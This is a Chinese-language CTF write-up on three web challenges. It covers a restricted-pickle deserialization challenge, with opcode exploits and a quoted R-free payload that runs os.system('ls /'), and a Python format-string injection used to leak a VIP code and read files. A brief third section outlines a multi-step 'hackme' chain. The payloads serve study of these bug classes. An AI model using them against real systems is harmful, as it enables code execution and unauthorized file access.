0x00 Something
做了几道题,刚好也“预习”了下新知识,先记一下几个比较简单的知识点,前两部分内容为 python 反序列化和 python 格式化串。
其他的题目好秀呀(感觉自己菜爆了
0x01 webtmp
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
直接贴代码了,这里如果清楚思路的话,那么这是一道简单题。如果从基础的开始看呢?
这里涉及到 python 的反序列化,引入部分可以参考 一篇文章带你理解漏洞之 Python 反序列化漏洞,在了解了简单的 pickle 使用之后,就可以看这道题目了。
题目的整体逻辑很清晰,获取一个传输过来的序列化数据,然后反序列化,和现在的一个对象比较,完全一致则输出 flag,分析题目,我们主要观察下面几个点:
首先是
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
这是官方推荐的对不信任的数据进行反序列化时的检测方法,以尽量避免产生危险。在这里限制了只能调用 __main__
下面的方法、变量。那我们在本地看一下可以使用的内容:
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10a3453d0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'web-pickle/ppickle.py', '__cached__': None, 'base64': <module 'base64' from '/usr/local/Cellar/python/3.7.4_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/base64.py'>, 'io': <module 'io' from '/usr/local/Cellar/python/3.7.4_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/io.py'>, 'sys': <module 'sys' (built-in)>, 'pickle': <module 'pickle' from '/usr/local/Cellar/python/3.7.4_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/pickle.py'>, 'Flask': <class 'flask.app.Flask'>, 'Response': <class 'flask.wrappers.Response'>, 'render_template': <function render_template at 0x10b3f5440>, 'request': <LocalProxy unbound>, 'secret': <module 'secret' from '/Users/xiaomo/Desktop/zhanyi/web-pickle/secret.py'>, 'app': <Flask 'ppickle'>, 'Animal': <class '__main__.Animal'>, 'RestrictedUnpickler': <class '__main__.RestrictedUnpickler'>, 'restricted_loads': <function restricted_loads at 0x10a40da70>, 'read': <function read at 0x10b4105f0>, 'index': <function index at 0x10b410710>}
除了内建变量外,还有其他模块(包括 secret),以及 __main__
下面实现的方法和类。
其次,涉及到了比较,关注一下重载的函数,判断了类型以及成员变量的值。
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
最后,过滤了 R
,即 opcode 中的执行操作,意味着我们不能在 opcode 中执行外部函数(其实是可以的,不过有限制)。
至此,根据最终要求提交的对象要和使用 secret 生成的对象判定为相同,有两个思路:一是覆盖 secret 为已知内容(因为对象的生成在反序列化之后),二是覆盖 __eq__
让其返回可以通过 if 判断。
第一种思路
如果要覆盖 secret 的成员值,那我们首先要访问到 secret,从上面打印的信息中可以看到,通过 main 是可以访问到 secret 的,这样就避开了第一个检测,那我们就可以想办法覆盖 secret 中的值。
这个方法类似 suctf19-guess_game 题目。通过在 secret 重建一个 dict 覆盖其中的成员变量值。这里直接贴一下部分 exp
c__main__
secret
}S"name"
I1
sS"category"
I2
sb
我们看一下操作码的含义 pickletools.dis(pickle.dumps())
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
EMPTY_DICT = b'}' # push empty dict
STRING = b'S' # push string; NL-terminated string argument
INT = b'I' # push integer or bool; decimal string argument
SETITEM = b's' # add key+value pair to dict
BUILD = b'b' # call __setstate__ or __dict__.update()
首先是获取到 secret 对象,然后在栈中构造一个字典,更新字典的键值,最后设置到 secret 中。
之后就是生成一个 animal 对象,拼接在上面的字节码后面,出栈时可以匹配到类型判断。即 pickle.dumps(Animal(1, 2))
。生成的 pickle 可使用 pickletools.optimize
来优化,更容易阅读。
第二种思路
参考的 Balsn CTF pyshv 的解法,看了下 smi1e 师傅的 wp,感觉思路或许可行,尝试了一下,因为题目限制并不能成功。
因为题目的重点在于比较,如果能够覆盖重载的 __eq__
或许就可以绕过了,而且比较时调用的是反序列化后的对象的比较函数,那根据 pyshv 的解法,我们需要覆盖 Animal 类的 __eq__
方法,然后利用重写的新类来实例化对象。
在这里遇到了一个问题,我们没办法实例化新的对象,因为 R
被过滤了,即如果根据新类实例化,必须使用 R
来完成类似于 Animal(1,2)
的调用;另外,直接在序列化的结果中,直接添加 __eq__
来覆盖原有 __eq__
又不可行,真正执行时还是以类声明的时候为准;还有一个问题是,__eq__
调用时传参数为 2,所以我们需要找到 callable 的'对象'并且可以接受两个参数,太菜了找不到 ... 师傅们知道如何操作的可以指点我一下。
无 reduce 的 RCE
后面看到一位师傅分享的,限制 R
情况下的 RCE 方法,通过 dict 的 build 方法来实现 RCE,可在源码中找到对 build 指令的执行过程,可以发现其中存在可控的动态函数执行:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
try:
d = inst.__dict__
try:
for k, v in state.iteritems():
d[intern(k)] = v
# keys in state don't have to be strings
# don't blow up, but don't go out of our way
except TypeError:
d.update(state)
except RuntimeError:
for k, v in state.items():
setattr(inst, k, v)
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD] = load_build
__setstate__
不存在时使用 dict 覆盖该方法,再次调用 build 指令即可实现 RCE,如原文中使用的 \x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.
翻译一下:
0: \x80 PROTO 3
2: c GLOBAL '__main__ Student'
20: ) EMPTY_TUPLE
21: \x81 NEWOBJ
22: } EMPTY_DICT
23: ( MARK
24: V UNICODE '__setstate__'
38: c GLOBAL 'os system'
49: u SETITEMS (MARK at 23)
50: b BUILD
51: V UNICODE 'ls /'
57: b BUILD
58: . STOP
highest protocol among opcodes = 2
虽然这个方法在限制了 find_class 的情况下不可用,但思路非常好,想着结合思路二,但仍被可用的函数限制,缺少能够接受两个参数的函数。
同时,这篇文章对 pickle opcode 讲解十分详细,也提供了几个本题的简单变种以及解决方法,如不限制 find_class 的情况的绕过,可访问 https://zhuanlan.zhihu.com/p/89132768。
0x02 fmkq
首先是个套娃(
http://xx:1101/?head=\&url=http://127.0.0.1:8080/&begin=%s%
然后到了第二部分
Welcome to our FMKQ api, you could use the help information below
To read file:
/read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
%d
看到提示 {file},发现不知道能读到什么,按照提示输入发现提示 The content of error is error%d,试试 ssti,发现少了最外层的花括号。想到可能是个格式化串,打一下 {file.__class__.__init__.__globals__}
发现打到了回显,那后端写法可能是(猜) render_string("The content of {file} is xxx".format(request.form.file))
,原理可以看一下 Python 格式化字符串漏洞(Django为例)
部分回显如下:
The content of {'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f97c615cdd8>, '__name__': 'base.readfile', 'vip': <class 'base.vip.vip'>, '__cached__': '/app/base/__pycache__/readfile.cpython-35.pyc', 'vipreadfile': <class 'base.readfile.vipreadfile'>, 're': <module 're' from '/usr/lib/python3.5/re.py'>, 'File': <class 'base.readfile.File'>, 'readfile': <class 'base.readfile.readfile'>, '__builtins__': {'divmod': <built-in function divmod>...
比较特殊的是出现了 vip、readfile 这些相关类,进而可以通过 {file.vip.__init__.globals__}
读到 vipcode(每几分钟重置一次),然后就可以读任意文件了。
访问 http://xx:1101/?head=\&url=http://127.0.0.1:8080/%26vipcode=xxxx&begin=%s%
可以看到根目录的文件,其中包含了 flag 所在的文件夹。接下来就是读 flag 了,输入 flag 的路径后,发现该路径被过滤了(nonono,this folder is a secret!!!)。
转而去读源码:
app.py
import web
from urllib.parse import unquote
from base.readfile import *
urls = (
'/', 'help',
'/read/(.*)','read'
)
web.config.debug = False
class help:
def GET(self):
help_information = '''
Welcome to our FMKQ api, you could use the help information below
To read file:
/read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
'''
return help_information
class read:
def GET(self,text):
file2read = readfile(text)
if file2read.test() == False:
return "error"
else:
if file2read.isvip() == False:
return ("The content of "+ file2read.GetFileName() +" is {file}").format(file=file2read)
else:
vipfile2read = vipreadfile(file2read)
return (str(vipfile2read))
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
readfile.py
from .vip import vip
import re
import os
class File:
def __init__(self,file):
self.file = file
def __str__(self):
return self.file
def GetName(self):
return self.file
class readfile():
def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"
def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])
if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()
def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True
def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False
def GetFileName(self):
return self.file.GetName()
current_folder_file = []
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
读一下源码,发现和猜想的出入不大,在 vip 读文件处也存在一个格式化串,使用格式化串绕过过滤即可。http://127.0.0.1:8080/read/file={vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag&vipcode=xxx
0x03 hackme
套娃题目,简要写一下吧,第一步 session 反序列化,第二步绕过 url 检测,第三步限制长度的命令执行,第一步不说了;
第二步,绕过 url 的检测,更新在了 /bytectf-2019-web-writeup/#boring-code 这一节的第一部分;
第三步,其实是 hitcon2017 的 babyfirst-revenge v2 原题,直接贴一下 exp 得了(懒
发 payload 的时候,可以使用 base64,也可以 urlencode 一下,避免空格的影响。